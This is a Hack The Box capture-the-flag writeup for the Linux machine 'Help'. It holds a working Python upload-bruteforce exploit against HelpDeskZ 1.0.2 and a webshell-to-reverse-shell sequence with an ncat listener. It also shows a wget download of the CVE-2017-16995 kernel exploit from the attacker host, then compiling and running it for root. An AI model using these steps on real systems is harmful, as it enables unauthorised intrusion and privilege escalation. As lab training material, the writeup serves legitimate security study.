HTB Writeup: Help

Posted on Tue 19 February 2019 in Writeups

help OS Linux
Author cymtrick
Difficulty Easy
Points 20
Released 19-01-2019
IP 10.10.10.121


Summary

Writeup of 20 points Hack The Box machine - Help. It is a simple Linux box. User flag could be read by exploiting HelpDeskZ software. Root access is obtainable with usage of an exploit (CVE-2017-16995) against outdated kernel.

Reconnaissance

Traditionally I start with nmap scanning.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
3000/tcp open  http    Node.js Express framework
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have 3 TCP ports open. I didn't see any service listening on UDP. OpenSSH in this version allows for username enumeration (CVE-2016-6210). It is something but honestly not much. We also have Apache with several vulnerabilities but exploiting them most likely won't be the intended way to obtain flags. In TCP/80 we see usual Apache2 Ubuntu Default Page. It is time to dig deeper.

root@kali:~/HTB_machines/10.10.10.121# nikto -h 10.10.10.121
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.121
+ Target Hostname:    10.10.10.121
+ Target Port:        80
+ Start Time:         2019-01-30 13:50:54 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x2c39 0x57ba5b7e5205d
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Cookie PHPSESSID created without the httponly flag
+ Cookie lang created without the httponly flag
+ OSVDB-3092: /support/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7499 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2019-01-30 13:54:05 (GMT1) (191 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Ok, that's something.

+ OSVDB-3092: /support/: This might be interesting...

I agree - it might be interesting. Under /support/ directory we encounter HelpDeskZ main page.

After that I approached TCP/3000. From previous scan I saw that there is a Node.js app running which I confirmed by sending GET / request.

root@kali:~# curl -vvv -g 'http://10.10.10.121:3000/'
*   Trying 10.10.10.121...
* TCP_NODELAY set
* Connected to 10.10.10.121 (10.10.10.121) port 3000 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.121:3000
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 81
< ETag: W/"51-gr8XZ5dnsfHNaB2KgX/Gxm9yVZU"
< Date: Wed, 20 Feb 2019 19:32:19 GMT
< Connection: keep-alive
<
* Connection #0 to host 10.10.10.121 left intact
{"message":"Hi Shiv, To get access please find the credentials with given query"}

Exploitation

Let's focus on main service - HeldeskZ. Quick browsing Internet shows that there are at least two public available exploits targeting version 1.0.2.

Side note: this is the newest version of this software and vulnerabilities are serious. Don't use it in production enviroment.

Looking at source code gives us a simple way of determining exact running version.

As I mention before I found two exploits for this version:

Since I haven't got any valid credentials I decided to give a go for the first one. The problem is with submit_ticket_controller.php file.

if(!isset($error_msg) && $settings['ticket_attachment']==1){
        $uploaddir = UPLOAD_DIR.'tickets/';
        if($_FILES['attachment']['error'] == 0){
                $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
                $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
                $fileuploaded[] = array('name' => $_FILES['attachment']['name'], 'enc' => $filename, 'size' => formatBytes($_FILES['attachment']['size']), 'filetype' => $_FILES['attachment']['type']);
                $uploadedfile = $uploaddir.$filename;
                if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
                        $show_step2 = true;
                        $error_msg = $LANG['ERROR_UPLOADING_A_FILE'];
                }else{
                        $fileverification = verifyAttachment($_FILES['attachment']);
                        switch($fileverification['msg_code']){
                                case '1':
                                $show_step2 = true;
                                $error_msg = $LANG['INVALID_FILE_EXTENSION'];
                                break;
                                case '2':
                                $show_step2 = true;
                                $error_msg = $LANG['FILE_NOT_ALLOWED'];
                                break;
                                case '3':
                                $show_step2 = true;
                                $error_msg = str_replace('%size%',$fileverification['msg_extra'],$LANG['FILE_IS_BIG']);
                                break;
                        }
                }
        }
}

Turns out that any attachment is always uploaded, even if the file type is disallowed. More than that. The resulting file name could be calculated.

$filename = md5($_FILES['attachment']['name'].time()).".".$ext;

Even more than that. Original extension is preserved!

$ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);

This is really bad code. This issue was reported in January 2017. However since it is most likely abandonware, it won't be fixed.

Anyway, we are here to exploit it. Code of original exploit needed to be a little bit adjusted. Uploaded filename is hashed with current (server) time. So we need to know approximate server time and bruteforce several filenames.

import hashlib
import time
import sys
import requests

print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'

if len(sys.argv) < 3:
    print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
    sys.exit(1)

helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]

currentTime = int(time.time())

for x in range(0, 300): # THIS LINE NEEDS TO BE ADJUSTED
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext).hexdigest()

    url = helpdeskzBaseUrl+md5hash+'.php'
    response = requests.head(url)
    if response.status_code == 200:
        print "found!"
        print url
        sys.exit(0)

print "Sorry, I did not find anything"

And we can get server time from Date HTTP header by quering Node.js app on port TCP/3000.

root@kali:~# curl -vvv -g 'http://10.10.10.121:3000/'
*   Trying 10.10.10.121...
* TCP_NODELAY set
* Connected to 10.10.10.121 (10.10.10.121) port 3000 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.121:3000
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Type: application/json; charset=utf-8
< Content-Length: 81
< ETag: W/"51-gr8XZ5dnsfHNaB2KgX/Gxm9yVZU"
< Date: Wed, 20 Feb 2019 19:32:19 GMT
< Connection: keep-alive
<
* Connection #0 to host 10.10.10.121 left intact
{"message":"Hi Shiv, To get access please find the credentials with given query"}

So we need to upload webshell by submiting the ticket.

And bruteforce the execution.

root@kali:~/HTB_machines/10.10.10.121# python 40300.py http://10.10.10.121/support/uploads/tickets/ phpshell.php

And reverse shell will pop-up. Then straight to user flag.

root@kali:~/HTB_machines/10.10.10.121# ncat -l -v -p 4444
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.121.
Ncat: Connection from 10.10.10.121:34676.
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
11:30:33 up  8:55,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
$ cd /home/help
$ ls -la
total 76
drwxr-xr-x   7 help help  4096 Jan 11 06:07 .
drwxr-xr-x   3 root root  4096 Nov 27 00:43 ..
-rw-rw-r--   1 help help   272 Jan 11 06:17 .bash_history
-rw-r--r--   1 help help   220 Nov 27 00:43 .bash_logout
-rw-r--r--   1 root root     1 Nov 27 01:13 .bash_profile
-rw-r--r--   1 help help  3771 Nov 27 00:43 .bashrc
drwx------   2 help help  4096 Nov 27 00:45 .cache
drwxr-xr-x   4 help help  4096 Feb 19 02:35 .forever
-rw-------   1 help help   442 Nov 28 04:46 .mysql_history
drwxrwxr-x   2 help help  4096 Nov 27 01:12 .nano
drwxrwxr-x 290 help help 12288 Jan 11 05:53 .npm
-rw-r--r--   1 help help   655 Nov 27 00:43 .profile
-rw-rw-r--   1 help help    66 Nov 28 09:58 .selected_editor
-rw-r--r--   1 help help     0 Nov 27 00:48 .sudo_as_admin_successful
-rw-rw-r--   1 help help   225 Dec 11 01:53 .wget-hsts
drwxrwxrwx   6 root root  4096 Jan 11 05:53 help
-rw-rw-r--   1 help help   946 Nov 28 10:35 npm-debug.log
-rw-r--r--   1 root root    33 Nov 28 10:51 user.txt
$ cat user.txt
bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXf

Post exploitation

Post exploitation phase was very quick here. I run linux-enum-mod.sh with my little modifications, but I used only one thing from it. Output from uname -ar command.

Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Quick duckduckgoing shows me that this particular kernel is vulnerable and exploit is publicly available.

Privilege escalation

I used CVE-2017-16995, downloaded source code to my Kali machine, uploaded to Help, compile and executed. It worked.

help@help:/tmp$ wget http://10.10.14.16/cve-2017-16995.c
wget http://10.10.14.16/cve-2017-16995.c
--2019-02-19 12:50:51--  http://10.10.14.16/cve-2017-16995.c
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6244 (6.1K) [text/plain]
Saving to: 'cve-2017-16995.c'

cve-2017-16995.c    100%[===================>]   6.10K  --.-KB/s    in 0s

2019-02-19 12:50:52 (979 MB/s) - 'cve-2017-16995.c' saved [6244/6244]

help@help:/tmp$ gcc cve-2017-16995.c -o cve-2017-16995.o
gcc cve-2017-16995.c -o cve-2017-16995.o
help@help:/tmp$ chmod +x cve-2017-16995.o
chmod +x cve-2017-16995.o
help@help:/tmp$ ./cve-2017-16995.o
./cve-2017-16995.o
task_struct = ffff880038fa1c00
uidptr = ffff8800368c2184
spawning root shell
root@help:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
root@help:/tmp# ls -la /root/
ls -la /root/
total 84
drwx------   6 root root  4096 Jan 13 13:41 .
drwxr-xr-x  22 root root  4096 Nov 28 09:18 ..
-rw-r--r--   1 root root   745 Jan 13 13:41 .bash_history
-rw-r--r--   1 root root  3106 Oct 22  2015 .bashrc
drwx------   2 root root  4096 Dec 10 22:07 .cache
drwxr-xr-x   4 root root  4096 Nov 27 08:23 .forever
-rw-------   1 root root  1548 Jan 13 13:41 .mysql_history
drwxr-xr-x   2 root root  4096 Nov 27 00:50 .nano
drwxr-xr-x 803 root root 36864 Nov 27 08:21 .npm
-rw-r--r--   1 root root   148 Aug 17  2015 .profile
-rw-r--r--   1 root root     0 Nov 28 09:33 .sudo_as_admin_successful
-rw-r--r--   1 root root   260 Nov 28 04:58 .wget-hsts
-rw-r--r--   1 root root    33 Nov 28 10:53 root.txt
root@help:/tmp# cat /root/root.txt
cat /root/root.txt
bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX8

Voilà.